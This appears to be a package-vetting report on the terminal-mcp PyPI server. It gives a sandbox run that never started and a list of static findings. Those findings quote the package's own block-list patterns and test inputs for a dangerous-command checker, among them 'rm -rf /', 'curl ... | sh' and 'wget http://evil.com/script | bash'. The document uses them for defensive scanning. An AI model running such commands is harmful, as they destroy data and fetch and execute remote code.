Skills/PyPI/terminal-mcp

terminal-mcp@0.4.7

CAUTION· not started

Publisher claims: "MCP server for interactive terminal sessions (SSH, REPLs, database CLIs)" Observed in sandbox: no network, touches nothing outside the project, writes no memory.

Registry PyPI (MCP server)Publisher mkpvishnu · publishing for 264 daysInstalls 273Last detonated 10 h ago

Coverage

Not started: dependency install failed; the server itself was not observed.
Tested
the dependency install step · every file read, file written and host contacted by what ran
Not tested
server startup · the tool list · tool behavior

What this means for the label: Caution here covers what ran. The server's tools were not exercised with a real credential, so nothing about their behavior is asserted; the credential summary below says what to do with that.

Before you give it your token

It will ask for
no credential variables read in the code
Where it talks to
no vendor host named in the code
What we saw when it ran
no credential files read · no network
What we could not test
server startup · the tool list · tool behavior

Connect it under the guard. Not started: dependency install failed; the server itself was not observed. The code names no credential variable; the guard pins the network to what the honeypot saw and logs every call.

$vet-skills run --net declared -- uvx terminal-mcp

Never paste a credential into a chat, a ticket or a report, including ours. How the guard holds it.

Is [email protected] safe to install?

KillerSkills ran it in the KillerSkills honeypot sandbox (2 scenarios; not started: dependency install failed; the server itself was not observed) on 2026-11-19 and scored it 74/100 (Caution). It is not known to be malicious, but it has behaviour or code a security policy should decide on before install. Notable findings: Pipe-to-shell pattern; Pipe-to-shell pattern. Summary: no network, touches nothing outside the project, writes no memory.

Behavior trace

Honeypot run · 0 s · 2 scenarios · 0 deviations
t+CategoryObserved action
0.0sprocessno install scripts in bundle
0.1sprocessdependency install exit 1 ·
0.1sclaimednot started: dependency install failed (exit 1); the server itself was not observed
0.1sprocessscript backend runs setup only
0.1sprocessno install scripts to re-run

Static findings

MEDIUM
Destructive file system command detectedtests/test_phase1.py:558 · Destructive file system command detectedresult = check_dangerous("rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_phase1.py:608 · Destructive command against a filesystem root or deviceresult = safety.check_dangerous("rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
CRITICAL
Pipe-to-shell patternterminal_mcp/safety.py:12 · Pipe-to-shell pattern — downloads and immediately executes remote coder'\bcurl\b.*\|\s*(ba)?sh\b', # curl | shFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
CRITICAL
Pipe-to-shell patternterminal_mcp/safety.py:13 · Pipe-to-shell pattern — downloads and immediately executes remote coder'\bwget\b.*\|\s*(ba)?sh\b', # wget | shFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Destructive file system command detectedtests/test_phase1.py:325 · Destructive file system command detected{"session_id": "abcd1234", "input": "rm -rf /tmp/test"}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/test_phase1.py:564 · Destructive file system command detectedresult = check_dangerous("rm -rf /tmp/mydir")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_phase1.py:626 · Destructive command against a filesystem root or deviceresult = safety.check_dangerous("rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/test_phase1.py:347 · Destructive file system command detected{"session_id": "abcd1234", "input": "rm -rf /tmp/test", "confirmed": True}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_phase1.py:663 · Destructive command against a filesystem root or device{"session_id": "abcd1234", "input": "rm -rf /"}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Process kill commandterminal_mcp/safety.py:23 · Process kill command — agent can terminate processesr'\bkill\s+-9\s', # kill -9Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_phase1.py:558 · Destructive command against a filesystem root or deviceresult = check_dangerous("rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/test_phase1.py:608 · Destructive file system command detectedresult = safety.check_dangerous("rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
File permission modification commandterminal_mcp/safety.py:15 · File permission modification command — agent changes file ownership/permissionsr'\bchmod\s+-R\b', # recursive chmodFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Process kill commandtests/test_bugfixes.py:449 · Process kill command — agent can terminate processes# Simulate process staying alive through terminate, dying after killFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Remote installer piped to shellterminal_mcp/safety.py:12 · Remote installer piped to shellr'\bcurl\b.*\|\s*(ba)?sh\b', # curl | shFix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
File permission modification commandterminal_mcp/safety.py:14 · File permission modification command — agent changes file ownership/permissionsr'\bchmod\s+777\b', # chmod 777Fix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
File permission modification commandterminal_mcp/safety.py:16 · File permission modification command — agent changes file ownership/permissionsr'\bchown\s+-R\b', # recursive chownFix: Request the narrowest permission that works; replace wildcards with the exact paths or hosts.
AST05
MEDIUM
Remote installer piped to shelltests/test_phase1.py:579 · Remote installer piped to shellresult = check_dangerous("curl http://example.com/install.sh | sh")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST07
MEDIUM
Process kill commandterminal_mcp/server.py:398 · Process kill command — agent can terminate processes# (e.g. from `kill <pid>`, Docker stop, or systemd). The atexit handler inFix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive command against a filesystem root or devicetests/test_phase1.py:617 · Destructive command against a filesystem root or deviceresult = safety.check_dangerous("rm -rf /")Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/test_tools.py:705 · Destructive file system command detectedassert result["command"] == "rm -rf /important"Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Pipe-to-shell patterntests/test_phase1.py:579 · Pipe-to-shell pattern — downloads and immediately executes remote coderesult = check_dangerous("curl http://example.com/install.sh | sh")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Pipe-to-shell patterntests/test_phase1.py:584 · Pipe-to-shell pattern — downloads and immediately executes remote coderesult = check_dangerous("wget http://evil.com/script | bash")Fix: Build commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
AST06
MEDIUM
Destructive file system command detectedtests/test_tools.py:701 · Destructive file system command detectedmock_manager, {"exec": "rm -rf /important"}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05
MEDIUM
Destructive file system command detectedtests/test_tools.py:719 · Destructive file system command detectedmock_manager, {"exec": "rm -rf /important", "confirmed": True}Fix: Build commands from fixed arguments; do not interpolate untrusted strings into a shell.
AST05

Cost to the agent

Instructions loaded
≈54 tok
1 file · 29 in bundle
Tool list per prompt
≈0 tok
0 tools · 0 per tool
Handshake
no reply
launch to tools/list, stdio
Undocumented tools
0
description under 20 chars · avg 0

Tokens estimated at four characters each. The tool list is re-read by the agent on every turn, so it is the number to compare between servers that do the same job: ranked across the index.

Known vulnerabilities

No advisories in OSV for terminal-mcp@0.4.7 as of 10 h ago. This is the package itself, not its dependencies.

What would make this Verified

6 points to 80 · weights: behavior 45%, static 25%, prompt 15%, publisher 15%
  1. Pipe-to-shell pattern≈ +9 on the totalBuild commands from fixed arguments, never from interpolated strings; prefer an API client over shelling out.
  2. Unclaimed publisher≈ +8 on the totalClaim mkpvishnu: a verified publisher gets +50 on publisher trust. It is free and usually instant with GitHub sign-in.
  3. Destructive file system command detected≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  4. Destructive command against a filesystem root or device≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  5. Process kill command≈ +2 on the totalBuild commands from fixed arguments; do not interpolate untrusted strings into a shell.
  6. File permission modification command≈ +2 on the totalRequest the narrowest permission that works; replace wildcards with the exact paths or hosts.
Publish a new version to PyPI, then queue it here. Not your skill? Claim the handle to get verdict changes by email.Claim mkpvishnuPropose a patch to the maintainer